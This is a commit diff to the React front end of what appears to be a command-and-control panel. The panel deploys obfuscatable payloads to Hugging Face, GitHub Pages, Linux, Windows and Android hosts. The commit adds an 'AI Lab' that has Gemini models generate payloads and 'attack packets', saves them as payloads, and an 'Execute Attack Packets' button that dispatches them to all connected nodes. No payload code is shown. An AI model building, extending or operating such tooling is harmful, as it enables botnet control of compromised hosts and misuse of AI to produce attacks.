wuhp commited on
Commit
7391464
·
verified ·
1 Parent(s): cd454ac

Update src/App.tsx

Browse files
Files changed (1) hide show
  1. src/App.tsx +72 -15
src/App.tsx CHANGED
@@ -393,19 +393,11 @@ function PayloadsTab() {
393
  const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
394
  const [activePayload, setActivePayload] = useState('hf_docker');
395
  const [obfuscate, setObfuscate] = useState(false);
 
396
 
397
- const payloads = [
398
- { id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
399
- { id: 'hf_gradio', name: 'Gradio (Hugging Face)', desc: 'Gradio UI with background health poller.' },
400
- { id: 'gh_pages', name: 'GitHub Pages (JS)', desc: 'Static HTML JS poller.' },
401
- { id: 'linux_local', name: 'Linux Server (Bash)', desc: 'Native sh script for background ping.' },
402
- { id: 'windows_local', name: 'Windows (PowerShell)', desc: 'Native ps1 script for background ping.' },
403
- { id: 'python_script', name: 'Raw Python Script', desc: 'Raw Python client for any environment.' },
404
- { id: 'node_js', name: 'Raw Node.js Script', desc: 'Raw Node.js client for any environment.' },
405
- { id: 'c_binary', name: 'C Binary', desc: 'Compiled C client using curl.' },
406
- { id: 'android_termux', name: 'Android (Termux)', desc: 'Termux bash script for Android.' },
407
- { id: 'android_java', name: 'Android App (Java)', desc: 'Simple Java classes for an Android Background Service.' },
408
- ];
409
 
410
  useEffect(() => {
411
  fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
@@ -483,6 +475,7 @@ function PayloadsTab() {
483
  function AILabTab() {
484
  const [prompt, setPrompt] = useState('');
485
  const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
 
486
  const [loading, setLoading] = useState(false);
487
  const [result, setResult] = useState('');
488
  const [errorMsg, setErrorMsg] = useState('');
@@ -492,12 +485,12 @@ function AILabTab() {
492
  setErrorMsg('');
493
  try {
494
  let endpoint = '/api/ai/generate-payload';
495
- let body: any = { prompt };
496
 
497
  if (mode === 'packets') endpoint = '/api/ai/generate-packets';
498
  if (mode === 'evaluate') {
499
  endpoint = '/api/ai/evaluate-payload';
500
- body = { code: prompt };
501
  }
502
 
503
  const res = await fetch(endpoint, {
@@ -514,6 +507,39 @@ function AILabTab() {
514
  setLoading(false);
515
  };
516
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
517
  return (
518
  <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
519
  <div className="mb-2">
@@ -527,6 +553,20 @@ function AILabTab() {
527
  <Card title="AI Input" icon={<Cpu size={18} />}>
528
  <div className="flex flex-col gap-4">
529
  <div className="flex bg-black/20 rounded-lg p-1">
 
 
 
 
 
 
 
 
 
 
 
 
 
 
530
  <button
531
  onClick={() => setMode('payload')}
532
  className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
@@ -572,6 +612,12 @@ function AILabTab() {
572
  {result ? (
573
  <div className="flex flex-col h-full gap-3">
574
  <div className="flex justify-end gap-2 px-1">
 
 
 
 
 
 
575
  <button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
576
  </div>
577
  <textarea
@@ -651,6 +697,7 @@ function DocsTab() {
651
  function SettingsTab() {
652
  const [hfToken, setHfToken] = useState('');
653
  const [ghToken, setGhToken] = useState('');
 
654
  const [status, setStatus] = useState('');
655
 
656
  const handleSave = async () => {
@@ -658,7 +705,7 @@ function SettingsTab() {
658
  const res = await fetch('/api/tokens', {
659
  method: 'POST',
660
  headers: { 'Content-Type': 'application/json' },
661
- body: JSON.stringify({ hf_token: hfToken, github_token: ghToken })
662
  });
663
  const data = await res.json();
664
  setStatus(data.message || 'Saved securely to in-memory state.');
@@ -700,6 +747,16 @@ function SettingsTab() {
700
  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
701
  />
702
  </div>
 
 
 
 
 
 
 
 
 
 
703
  <div className="pt-4 flex items-center justify-between">
704
  <button
705
  onClick={handleSave}
 
393
  const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
394
  const [activePayload, setActivePayload] = useState('hf_docker');
395
  const [obfuscate, setObfuscate] = useState(false);
396
+ const [payloads, setPayloads] = useState<any[]>([]);
397
 
398
+ useEffect(() => {
399
+ fetch('/api/payloads').then(r => r.json()).then(d => setPayloads(d.payloads || []));
400
+ }, []);
 
 
 
 
 
 
 
 
 
401
 
402
  useEffect(() => {
403
  fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
 
475
  function AILabTab() {
476
  const [prompt, setPrompt] = useState('');
477
  const [mode, setMode] = useState<'payload' | 'packets' | 'evaluate'>('payload');
478
+ const [aiModel, setAiModel] = useState<'2.5' | '3.0'>('2.5');
479
  const [loading, setLoading] = useState(false);
480
  const [result, setResult] = useState('');
481
  const [errorMsg, setErrorMsg] = useState('');
 
485
  setErrorMsg('');
486
  try {
487
  let endpoint = '/api/ai/generate-payload';
488
+ let body: any = { prompt, model: aiModel };
489
 
490
  if (mode === 'packets') endpoint = '/api/ai/generate-packets';
491
  if (mode === 'evaluate') {
492
  endpoint = '/api/ai/evaluate-payload';
493
+ body = { code: prompt, model: aiModel };
494
  }
495
 
496
  const res = await fetch(endpoint, {
 
507
  setLoading(false);
508
  };
509
 
510
+ const saveCustomPayload = async () => {
511
+ const name = window.prompt("Enter a name for this custom payload:");
512
+ if (!name) return;
513
+ try {
514
+ await fetch('/api/ai/save-payload', {
515
+ method: 'POST',
516
+ headers: { 'Content-Type': 'application/json' },
517
+ body: JSON.stringify({ name, code: result })
518
+ });
519
+ alert('Payload saved! You can find it in the Deploy Payloads tab.');
520
+ } catch (e: any) {
521
+ alert("Error saving: " + e.message);
522
+ }
523
+ };
524
+
525
+ const executePackets = async () => {
526
+ try {
527
+ const packets = JSON.parse(result);
528
+ if (!Array.isArray(packets)) throw new Error("Packets must be a JSON array.");
529
+
530
+ for (const pkt of packets) {
531
+ await fetch('/api/commands', {
532
+ method: 'POST',
533
+ headers: { 'Content-Type': 'application/json' },
534
+ body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
535
+ });
536
+ }
537
+ alert(`Dispatched ${packets.length} packets to all nodes.`);
538
+ } catch (e: any) {
539
+ alert("Error executing packets: " + e.message);
540
+ }
541
+ };
542
+
543
  return (
544
  <div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
545
  <div className="mb-2">
 
553
  <Card title="AI Input" icon={<Cpu size={18} />}>
554
  <div className="flex flex-col gap-4">
555
  <div className="flex bg-black/20 rounded-lg p-1">
556
+ <button
557
+ onClick={() => setAiModel('2.5')}
558
+ className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", aiModel === '2.5' ? "bg-slate-700 text-white" : "text-slate-400 hover:text-slate-200")}
559
+ >
560
+ Gemini 2.5
561
+ </button>
562
+ <button
563
+ onClick={() => setAiModel('3.0')}
564
+ className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", aiModel === '3.0' ? "bg-slate-700 text-white" : "text-slate-400 hover:text-slate-200")}
565
+ >
566
+ Gemini 3.0
567
+ </button>
568
+ </div>
569
+ <div className="flex bg-black/20 rounded-lg p-1 mt-2">
570
  <button
571
  onClick={() => setMode('payload')}
572
  className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
 
612
  {result ? (
613
  <div className="flex flex-col h-full gap-3">
614
  <div className="flex justify-end gap-2 px-1">
615
+ {mode === 'payload' || mode === 'evaluate' ? (
616
+ <button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
617
+ ) : null}
618
+ {mode === 'packets' && (
619
+ <button onClick={executePackets} className="text-xs bg-red-500 hover:bg-red-400 px-3 py-1 rounded text-white transition-all font-bold tracking-wide uppercase">Execute Attack Packets</button>
620
+ )}
621
  <button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
622
  </div>
623
  <textarea
 
697
  function SettingsTab() {
698
  const [hfToken, setHfToken] = useState('');
699
  const [ghToken, setGhToken] = useState('');
700
+ const [geminiToken, setGeminiToken] = useState('');
701
  const [status, setStatus] = useState('');
702
 
703
  const handleSave = async () => {
 
705
  const res = await fetch('/api/tokens', {
706
  method: 'POST',
707
  headers: { 'Content-Type': 'application/json' },
708
+ body: JSON.stringify({ hf_token: hfToken, github_token: ghToken, gemini_token: geminiToken })
709
  });
710
  const data = await res.json();
711
  setStatus(data.message || 'Saved securely to in-memory state.');
 
747
  className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
748
  />
749
  </div>
750
+ <div>
751
+ <label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini API Key (Optional Override)</label>
752
+ <input
753
+ type="password"
754
+ value={geminiToken}
755
+ onChange={e => setGeminiToken(e.target.value)}
756
+ placeholder="AI Studio API Key..."
757
+ className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
758
+ />
759
+ </div>
760
  <div className="pt-4 flex items-center justify-between">
761
  <button
762
  onClick={handleSave}